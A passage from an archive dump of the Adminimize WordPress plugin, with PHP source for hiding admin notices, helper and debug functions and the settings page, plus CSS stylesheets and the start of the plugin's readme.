* Remove the admin notices from the global options settings.
*
* @package Adminimize
* @since 2015-12-09
*/
if ( ! function_exists( 'add_action' ) ) {
die( "Hi there! I'm just a part of plugin, not much I can do when called directly." );
}
// Need only on admin area
if ( ! is_admin() ) {
return;
}
// If is AJAX Call.
if ( defined('DOING_AJAX') && DOING_AJAX ) {
return;
}
// If is AJAX Call.
if ( defined('DOING_AJAX') && DOING_AJAX ) {
return;
}
add_action( 'admin_init', '_mw_adminimize_init_to_remove_admin_notices' );
/**
* Fire all hooks to remove admin notices.
*/
function _mw_adminimize_init_to_remove_admin_notices() {
if ( _mw_adminimize_check_to_remove_admin_notices() ) {
add_action( 'admin_head', '_mw_adminimize_remove_admin_notices', PHP_INT_MAX + 1 );
}
}
/**
* Remove Admin Notices.
*
* @return boolean
*/
function _mw_adminimize_check_to_remove_admin_notices() {
// Exclude super admin.
if ( _mw_adminimize_exclude_super_admin() ) {
return false;
}
$user_roles = _mw_adminimize_get_all_user_roles();
foreach ( $user_roles as $role ) {
$disabled_global_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_global_option_' . $role . '_items'
);
}
foreach ( $user_roles as $role ) {
if ( ! isset( $disabled_global_option_[ $role ][ '0' ] ) ) {
$disabled_global_option_[ $role ][ '0' ] = '';
}
}
$remove_admin_notices = false;
foreach ( $user_roles as $role ) {
$user = wp_get_current_user();
if ( is_array( $user->roles ) && in_array( $role, $user->roles ) ) {
if ( _mw_adminimize_current_user_has_role( $role )
&& isset( $disabled_global_option_[ $role ] )
&& is_array( $disabled_global_option_[ $role ] )
) {
$remove_admin_notices = _mw_adminimize_recursive_in_array(
'.admin-notices', $disabled_global_option_[ $role ]
);
}
}
}
if ( $remove_admin_notices ) {
return true;
}
return false;
}
/**
* Remove different admin notices.
*/
function _mw_adminimize_remove_admin_notices() {
remove_action( 'admin_notices', 'update_nag', 3 );
remove_action( 'admin_notices', 'maintenance_nag', 10 );
remove_action( 'admin_notices', 'new_user_email_admin_notice' );
remove_action( 'admin_notices', 'site_admin_notice' );
// @ToDo, if we will use this.
// Catch all admin notices.
/*
add_action( 'admin_notices', function () {
ob_start();
}, PHP_INT_MAX + 1 );
$adm_notices = trim( ob_get_clean() );
$adm_notices = preg_replace(
'/(\sclass=["\'][^"\']*?notice)(["\'\s])/',
'$1 inline$2',
$adm_notices
);
*/
}
inc-setup/DebugListener.php 0000666 00000001475 15244451347 0011744 0 ustar 00 <?php
class DebugListener {
/**
* Store message and data for output.
*
* @var array
*/
protected $data = array();
/**
* Set default message and set var.
*
* @param string $message Message about the data.
* @param mixed $data The data for debugging.
*/
public function listen( $message, $data ) {
if ( ! $message ) {
$message = 'Debug in Console via Adminimize Plugin:';
}
$this->data = array( $message, $data );
}
/**
* Print the message and data inside the console of the browser.
*/
public function dump() {
// Buffering.
ob_start();
$output = '';
foreach ( $this->data as $entry ) {
$output .= 'console.info(' . json_encode( $entry[0] ) . ');';
$output .= 'console.log(' . json_encode( $entry[1] ) . ');';
}
echo sprintf( '<script>%s</script>', $output );
}
}
inc-setup/helping_hands.php 0000666 00000011553 15244451347 0012011 0 ustar 00 <?php
/**
* Helper functions.
*
* @package Adminimize
* @subpackage Helping_Functions
* @author Frank Bültge <frank@bueltge.de
* @since 2016-01-22
*/
if ( ! function_exists( 'add_action' ) ) {
die( "Hi there! I'm just a part of plugin, not much I can do when called directly." );
}
/**
* Recursive search in array.
*
* @param string $needle
* @param array $haystack
*
* @return bool
*/
function _mw_adminimize_recursive_in_array( $needle, $haystack ) {
if ( '' === $haystack ) {
return false;
}
if ( ! $haystack ) {
return false;
}
foreach ( $haystack as $stalk ) {
if ( $needle === $stalk
|| ( is_array( $stalk )
&& _mw_adminimize_recursive_in_array( $needle, $stalk )
)
) {
return true;
}
}
return false;
}
/**
* Check if array contains all array values from another array.
*
* @param array $array1
* @param array $array2
*
* @return bool
*/
function _mw_adminimize_in_arrays( $array1, $array2 ) {
return (bool) count( array_intersect( $array1, $array2 ) );
}
/**
* Check the role with the current user data.
*
* @param string $role
*
* @return bool
*/
function _mw_adminimize_current_user_has_role( $role ) {
$user = wp_get_current_user();
if ( in_array( $role, (array) $user->roles, true ) ) {
return true;
}
return false;
}
/**
* Simple helper to debug to the console of the browser.
* Set WP_DEBUG_DISPLAY in your wp-config.php to true for view debug messages inside the console.
*
* @param string | array | object
* @param string $description
*
* @return string|void
*/
function _mw_adminimize_debug( $data, $description = '' ) {
if ( ! _mw_adminimize_get_option_value( 'mw_adminimize_debug' ) ) {
return;
}
if ( ! class_exists( 'DebugListener' ) ) {
return;
}
// Buffering.
ob_start();
$output = '';
$output .= 'console.info(' . json_encode( $description ) . ');';
$output .= 'console.log(' . json_encode( $data ) . ');';
echo sprintf( '<script>%s</script>', $output );
do_action( 'adminimize.log', $description, $data );
}
/**
* Return duplicate items from array.
*
* @param $array
*
* @return array
*/
function _mw_adminimize_get_duplicate( $array ) {
return array_unique( array_map( 'unserialize', array_diff_assoc( array_map( 'serialize', $array), array_map( 'serialize', array_unique( $array, SORT_REGULAR ) ) ) ), SORT_REGULAR );
}
/**
* Get intersection of a multiple array.
*
* @since 2016-06-28
*
* @param $array array Array with settings of all roles.
*
* @return array Data with only the data, there in each role active.
*/
function _mw_adminimize_get_intersection( $array ) {
return (array) call_user_func_array( 'array_intersect', array_values( $array ) );
}
/**
* Flatten a multi-dimensional array in a simple array.
*
* @since 2016-11-19
*
* @param array $array
*
* @return array $flat
*/
function _mw_adminimize_array_flatten( $array ) {
$flat = array();
foreach ( $array as $key => $value ) {
if ( is_array( $value ) ) {
$flat = array_merge( $flat, _mw_adminimize_array_flatten( $value ) );
} else {
$flat[ $key ] = $value;
}
}
return $flat;
}
/**
* Break the access to a page.
*
* @param string $slug Slug of each menu item.
*
* @return bool If the check is true, return also true as bool.
*/
function _mw_adminimize_check_page_access( $slug ) {
// If this default behavior is deactivated.
if ( _mw_adminimize_get_option_value( 'mw_adminimize_prevent_page_access' ) ) {
return false;
}
$url = basename( esc_url_raw( $_SERVER['REQUEST_URI'] ) );
$url = htmlspecialchars( $url );
if ( ! isset( $url ) ) {
return false;
}
$uri = wp_parse_url( $url );
if ( ! isset( $uri['path'] ) ) {
return false;
}
// URI without query parameter, like WP core edit.php.
if ( ! isset( $uri['query'] ) && strpos( $uri['path'], $slug ) !== false ) {
add_action( 'load-' . $slug, '_mw_adminimize_block_page_access' );
return true;
}
// URL is equal the slug of WP menu.
if ( $slug === $url ) {
add_action( 'load-' . basename( $uri['path'] ), '_mw_adminimize_block_page_access' );
return true;
}
}
/**
* Break the access to a page.
*
* @wp-hook load-$page_slug
*/
function _mw_adminimize_block_page_access() {
$message = esc_attr__( 'Cheatin’ uh? Sorry, you are not allowed to access this site.', 'adminimize' );
$message = apply_filters( 'adminimize_nopage_access_message', $message );
wp_die( esc_html( $message ) );
}
/**
* Check option value string in array and get string back for active checkboxes.
*
* @param string $option String of option to check.
* @param array $haystack Array of all options.
*
* @return string String for checked input box or empty string.
*/
function _mw_adminimize_is_checked( $option, $haystack ) {
if ( ! isset( $haystack ) ) {
return '';
}
if ( in_array( htmlspecialchars_decode( $option ), $haystack, true ) ) {
return ' checked="checked"';
}
return '';
} css/mw_small_user_info.min.css 0000666 00000000225 15244451347 0012530 0 ustar 00 #small_user_info{position:absolute;right:15px;top:11px;font-size:11px;color:#999}#small_user_info a{color:#ccc}#small_user_info p{margin:0;padding:0} css/select2.min.css 0000666 00000035166 15244451347 0010221 0 ustar 00 .select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{position:relative}.select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline-block;overflow:hidden;padding-left:8px;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-search--inline{float:left}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:none;font-size:100%;margin-top:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:white;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option[aria-selected]{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0 !important;clip:rect(0 0 0 0) !important;-webkit-clip-path:inset(50%) !important;clip-path:inset(50%) !important;height:1px !important;overflow:hidden !important;padding:0 !important;position:absolute !important;width:1px !important;white-space:nowrap !important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--default .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text}.select2-container--default .select2-selection--multiple .select2-selection__rendered{box-sizing:border-box;list-style:none;margin:0;padding:0 5px;width:100%}.select2-container--default .select2-selection--multiple .select2-selection__rendered li{list-style:none}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-top:5px;margin-right:10px;padding:1px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{color:#999;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover{color:#333}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice,.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-search--inline{float:right}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:solid black 1px;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:transparent;border:none;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option[role=group]{padding:0}.select2-container--default .select2-results__option[aria-disabled=true]{color:#999}.select2-container--default .select2-results__option[aria-selected=true]{background-color:#ddd}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--highlighted[aria-selected]{background-color:#5897fb;color:white}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top, #fff 50%, #eee 100%);background-image:-o-linear-gradient(top, #fff 50%, #eee 100%);background-image:linear-gradient(to bottom, #fff 50%, #eee 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;margin-right:10px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top, #eee 50%, #ccc 100%);background-image:-o-linear-gradient(top, #eee 50%, #ccc 100%);background-image:linear-gradient(to bottom, #eee 50%, #ccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top, #fff 0%, #eee 50%);background-image:-o-linear-gradient(top, #fff 0%, #eee 50%);background-image:linear-gradient(to bottom, #fff 0%, #eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top, #eee 50%, #fff 100%);background-image:-o-linear-gradient(top, #eee 50%, #fff 100%);background-image:linear-gradient(to bottom, #eee 50%, #fff 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__rendered{list-style:none;margin:0;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;cursor:default;float:left;margin-right:5px;margin-top:5px;padding:0 5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{color:#888;cursor:pointer;display:inline-block;font-weight:bold;margin-right:2px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{float:right;margin-left:5px;margin-right:auto}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{margin-left:2px;margin-right:auto}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option[role=group]{padding:0}.select2-container--classic .select2-results__option[aria-disabled=true]{color:grey}.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb}
css/style.css 0000666 00000003330 15244451347 0007222 0 ustar 00 @CHARSET "UTF-8";
/**
* Stylesheet for the Adminimize settings page.
*
* @version 2016-03-21
*/
#minimenu td a {
display: block;
}
table th, table tr:nth-child(odd) {
background: #eee;
}
.widefat thead td input[type=checkbox] {
margin: 0 2px 0 0;
vertical-align: middle;
}
table tbody td span, table tbody th span {
float: right;
}
tr:hover,
td:nth-child(even) + td:hover {
background-color: #dfdfdf !important;
}
table.widefat th:nth-child(even),
table.widefat td:nth-child(even) {
background-color: #ffebe8;
}
table.widefat th:nth-child(even):hover,
table.widefat td:nth-child(even):hover {
background-color: #dfdfdf;
}
td:first-child {
width: 30%;
}
table.widefat tr:nth-child(2) {
font-style: italic;
}
.widefat td span, .widefat th span {
color: #ccc;
font-size: x-small;
font-weight: lighter;
}
table.usertheme .num {
width: 25px;
}
table.config_menu span.awaiting-mod{
display: none;
}
#adminimize-toggle{
border-width: 0;
color: #777;
cursor: not-allowed;
}
.switch {
position: relative;
display: inline-block;
width: 40px;
height: 20px;
background-color: #dedede;
border-radius: 20px;
}
.switch:after {
content: "";
position: absolute;
width: 18px;
height: 18px;
border-radius: 50%;
background-color: #fff;
top: 1px;
left: 1px;
-webkit-transition: all .3s;
transition: all .3s;
}
.adminimize-checkbox:checked + .switch::after {
left : 20px;
}
.adminimize-checkbox:checked + .switch {
background-color: #0d84e3;
}
.adminimize-checkbox {
visibility: hidden;
}
#adminimize-export-role {
display: none;
align-items: flex-end;
}
#adminimize-export-role select {
display: block;
}
#adminimize-export-role option {
padding: 5px;
} css/style.min.css 0000666 00000002517 15244451347 0010012 0 ustar 00 #minimenu td a{display:block}table th,table tr:nth-child(odd){background:#eee}.widefat thead td input[type=checkbox]{margin:0 2px 0 0;vertical-align:middle}table tbody td span,table tbody th span{float:right}td:nth-child(even)+td:hover,tr:hover{background-color:#dfdfdf!important}table.widefat td:nth-child(even),table.widefat th:nth-child(even){background-color:#ffebe8}table.widefat td:nth-child(even):hover,table.widefat th:nth-child(even):hover{background-color:#dfdfdf}td:first-child{width:30%}table.widefat tr:nth-child(2){font-style:italic}.widefat td span,.widefat th span{color:#ccc;font-size:x-small;font-weight:lighter}table.usertheme .num{width:25px}table.config_menu span.awaiting-mod{display:none}#adminimize-toggle{border-width:0;color:#777;cursor:not-allowed}.switch{position:relative;display:inline-block;width:40px;height:20px;background-color:#dedede;border-radius:20px}.switch:after{content:"";position:absolute;width:18px;height:18px;border-radius:50%;background-color:#fff;top:1px;left:1px;-webkit-transition:all .3s;transition:all .3s}.adminimize-checkbox:checked+.switch::after{left:20px}.adminimize-checkbox:checked+.switch{background-color:#0d84e3}.adminimize-checkbox{visibility:hidden}#adminimize-export-role{display:none;align-items:flex-end}#adminimize-export-role select{display:block}#adminimize-export-role option{padding:5px} css/mw_cat_full.min.css 0000666 00000000207 15244451347 0011140 0 ustar 00 #categorydiv div.tabs-panel,#linkcategorydiv div.tabs-panel{height:auto!important;max-height:100%!important;overflow:visible!important} css/mw_cat_full.css 0000666 00000000266 15244451347 0010363 0 ustar 00 /**
* Category in sidebar
*/
#categorydiv div.tabs-panel, #linkcategorydiv div.tabs-panel {
height: auto !important;
max-height: 100% !important;
overflow: visible !important;
} css/mw_small_user_info.css 0000666 00000000272 15244451347 0011750 0 ustar 00 #small_user_info {
position: absolute;
right: 15px;
top: 11px;
font-size: 11px;
color: #999;
}
#small_user_info a {
color: #ccc;
}
#small_user_info p {
margin: 0;
padding: 0;
} adminimize_page.php 0000666 00000015230 15244451347 0010415 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Settings page
* @author Frank Bültge
*/
// A rather more popular way to check if the file is being accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
die( "Hi there! I'm just a part of plugin, not much I can do when called directly." );
}
/*
// Export the options to local client.
if ( array_key_exists( '_mw_adminimize_export', $_GET ) ) {
add_action( 'admin_init', '_mw_adminimize_export_json' );
//_mw_adminimize_export_json();
die();
}*/
function _mw_adminimize_options() {
// The removed data is never used.
// update options
// Some indenting cleanups
if (
( array_key_exists( '_mw_adminimize_action', $_POST )
&& $_POST[ '_mw_adminimize_action' ] === '_mw_adminimize_insert' )
&& $_POST[ '_mw_adminimize_save' ]
) {
if ( function_exists( 'current_user_can' ) && current_user_can( 'manage_options' ) ) {
check_admin_referer( 'mw_adminimize_nonce' );
_mw_adminimize_update();
} else {
$myErrors = new _mw_adminimize_message_class();
$myErrors = '<div id="message" class="error"><p>' .
$myErrors->get_error(
'_mw_adminimize_access_denied'
) .
'</p></div>';
wp_die( $myErrors );
// Some indenting cleanups
}
}
// import options
// Some indenting cleanups
if (
( array_key_exists( '_mw_adminimize_action', $_POST )
&& $_POST[ '_mw_adminimize_action' ] === '_mw_adminimize_import' )
&& $_POST[ '_mw_adminimize_save' ]
) {
_mw_adminimize_import_json();
}
// Uninstall options
// Some indenting cleanups
if (
( array_key_exists( '_mw_adminimize_action', $_POST )
&& $_POST[ '_mw_adminimize_action' ] === '_mw_adminimize_uninstall' )
&& ! array_key_exists( '_mw_adminimize_uninstall_yes', $_POST )
) {
$myErrors = new _mw_adminimize_message_class();
$myErrors = '<div id="message" class="error"><p>' . $myErrors->get_error(
'_mw_adminimize_uninstall_yes'
) . '</p></div>';
wp_die( $myErrors );
}
// Some indenting cleanups
if (
( array_key_exists( '_mw_adminimize_action', $_POST )
&& array_key_exists( '_mw_adminimize_uninstall_yes', $_POST )
&& $_POST[ '_mw_adminimize_action' ] === '_mw_adminimize_uninstall' )
&& $_POST[ '_mw_adminimize_uninstall' ]
&& $_POST[ '_mw_adminimize_uninstall_yes' ] === '_mw_adminimize_uninstall'
) {
if ( function_exists( 'current_user_can' ) && current_user_can( 'manage_options' ) ) {
check_admin_referer( 'mw_adminimize_nonce' );
_mw_adminimize_uninstall();
$myErrors = new _mw_adminimize_message_class();
$myErrors = '<div id="message" class="updated fade"><p>' . $myErrors->get_error(
'_mw_adminimize_uninstall'
) . '</p></div>';
echo $myErrors;
} else {
$myErrors = new _mw_adminimize_message_class();
$myErrors = '<div id="message" class="error"><p>' . $myErrors->get_error(
'_mw_adminimize_access_denied'
) . '</p></div>';
wp_die( $myErrors );
}
}
// load theme user data
// Some indenting cleanups
if (
( array_key_exists( '_mw_adminimize_action', $_POST )
&& $_POST[ '_mw_adminimize_action' ] === '_mw_adminimize_load_theme' )
&& $_POST[ '_mw_adminimize_load' ]
) {
if ( function_exists( 'current_user_can' ) && current_user_can( 'edit_users' ) ) {
check_admin_referer( 'mw_adminimize_nonce' );
$myErrors = new _mw_adminimize_message_class();
$myErrors = '<div id="message" class="updated fade"><p>' .
$myErrors->get_error(
'_mw_adminimize_load_theme'
) .
'</p></div>';
echo $myErrors;
} else {
$myErrors = new _mw_adminimize_message_class();
$myErrors = '<div id="message" class="error"><p>' .
$myErrors->get_error(
'_mw_adminimize_access_denied'
) .
'</p></div>';
wp_die( $myErrors );
}
}
// Some indenting cleanups
if (
( array_key_exists( '_mw_adminimize_action', $_POST )
&& $_POST[ '_mw_adminimize_action' ] === '_mw_adminimize_set_theme' )
&& $_POST[ '_mw_adminimize_save' ]
) {
if ( function_exists( 'current_user_can' ) && current_user_can( 'edit_users' ) ) {
check_admin_referer( 'mw_adminimize_nonce' );
// _mw_adminimize_set_theme();
// This function isn't defined anywhere.
$myErrors = new _mw_adminimize_message_class();
$myErrors = '<div id="message" class="updated fade"><p>' .
$myErrors->get_error(
'_mw_adminimize_set_theme'
) .
'</p></div>';
echo $myErrors;
} else {
$myErrors = new _mw_adminimize_message_class();
$myErrors = '<div id="message" class="error"><p>' .
$myErrors->get_error(
'_mw_adminimize_access_denied'
) .
'</p></div>';
wp_die( $myErrors );
}
}
?>
<div class="wrap">
<?php
do_action( 'mw_adminimize_before_settings_form' );
// Backend Options for all roles
require_once 'inc-options/minimenu.php';
?>
<form name="backend_option" method="post" id="_mw_adminimize_options" action="?page=<?php echo esc_attr( $_GET[ 'page' ] ); ?>">
<?php
// Adminimize Settings for the plugin.
require_once 'inc-options/self_settings.php';
// Admin Bar options
require_once 'inc-options/admin_bar.php';
// Admin Bar items frontend
require_once 'inc-options/admin_bar_frontend.php';
// Backend Options for all roles
require_once 'inc-options/backend_options.php';
// global options on all pages in backend for different roles
require_once 'inc-options/global_options.php';
// dashboard options for different roles
require_once 'inc-options/dashboard_options.php';
// Menu Sub-menu Options
require_once 'inc-options/menu_options.php';
// Write Page Options
require_once 'inc-options/write_post_options.php';
// Write Page Options
require_once 'inc-options/write_page_options.php';
// Custom Post Type
if ( function_exists( 'get_post_types' ) ) {
require_once 'inc-options/write_cp_options.php';
}
// Links Options
if ( 0 !== get_option( 'link_manager_enabled' ) ) {
require_once 'inc-options/links_options.php';
}
// Widget options
require_once 'inc-options/widget_options.php';
// WP Nav Menu Options
require_once 'inc-options/wp_nav_menu_options.php';
do_action( 'mw_adminimize_settings_form' );
?>
</form>
<?php
do_action( 'mw_adminimize_after_settings_form' );
// Im/Export Options
require_once 'inc-options/im_export_options.php';
// Uninstall options
require_once 'inc-options/deinstall_options.php';
?>
</div>
<?php
}
readme.txt 0000666 00000055643 15244451347 0006574 0 ustar 00 === Adminimize ===
Contributors: wp_media, Bueltge, inpsyde
Tags: customization, administration
Requires at least: 4.0
Tested up to: 6.4
Stable tag: 1.11.11
Adminimize that lets you hide 'unnecessary' items from the WordPress backend
== Description ==
If you manage a multi-author WordPress blog or WordPress sites for clients, then you may have wondered if it was possible to clean up the WordPress admin area for your users? There are lots of things in the WordPress admin area that your users don’t need to see or use. This plugin help you to hide unnecessary items from WordPress admin area.
Adminimize makes it easy to remove items from view based on a user’s role.
= What does this plugin do? =
The plugin changes the administration backend and gives you the power to assign rights on certain parts. Admins can activate/deactivate every part of the menu and even parts of the sub-menu. Meta fields can be administered separately for posts and pages. Certain parts of the write menu can be deactivated separately for admins or non-admins. The header of the backend is minimized and optimized to give you more space and the structure of the menu gets changed to make it more logical - this can all be done per user so each role and their resulting users can have his own settings.
= Support Custom Post Type =
The plugin support all functions also for custom post types, automatically in the settings page.
= Support Custom Options on all different post types =
It is possible to add own options to hide areas in the back-end of WordPress. It is easy and you must only forgive a ID or class, a selector, of the markup, that you will hide.
= Compatibility with plugins for MetaBoxes in Write-area =
You can add your own options, you must only check for css selectors.
== Installation ==
= Requirements =
* WordPress version 4.0 and later; tested only in last stable version.
* PHP 5.6, newer PHP versions will work faster. Tested only from version 5.6.
Use the installer via back-end of your install or ...
1. Unpack the download-package.
2. Upload the files to the `/wp-content/plugins/` directory.
3. Activate the plugin through the Plugins menu in WordPress and click Activate.
4. Administrator can go to `Settings` > `Adminimize` menu and configure the plugin (Menu, Sub-menu, Meta boxes, ...)
== Changelog ==
= 1.11.11 (2024-03-15) =
* Fix PHP Warning (Trying to access array offset on value of type bool)
= 1.11.10 (2023-11-23) =
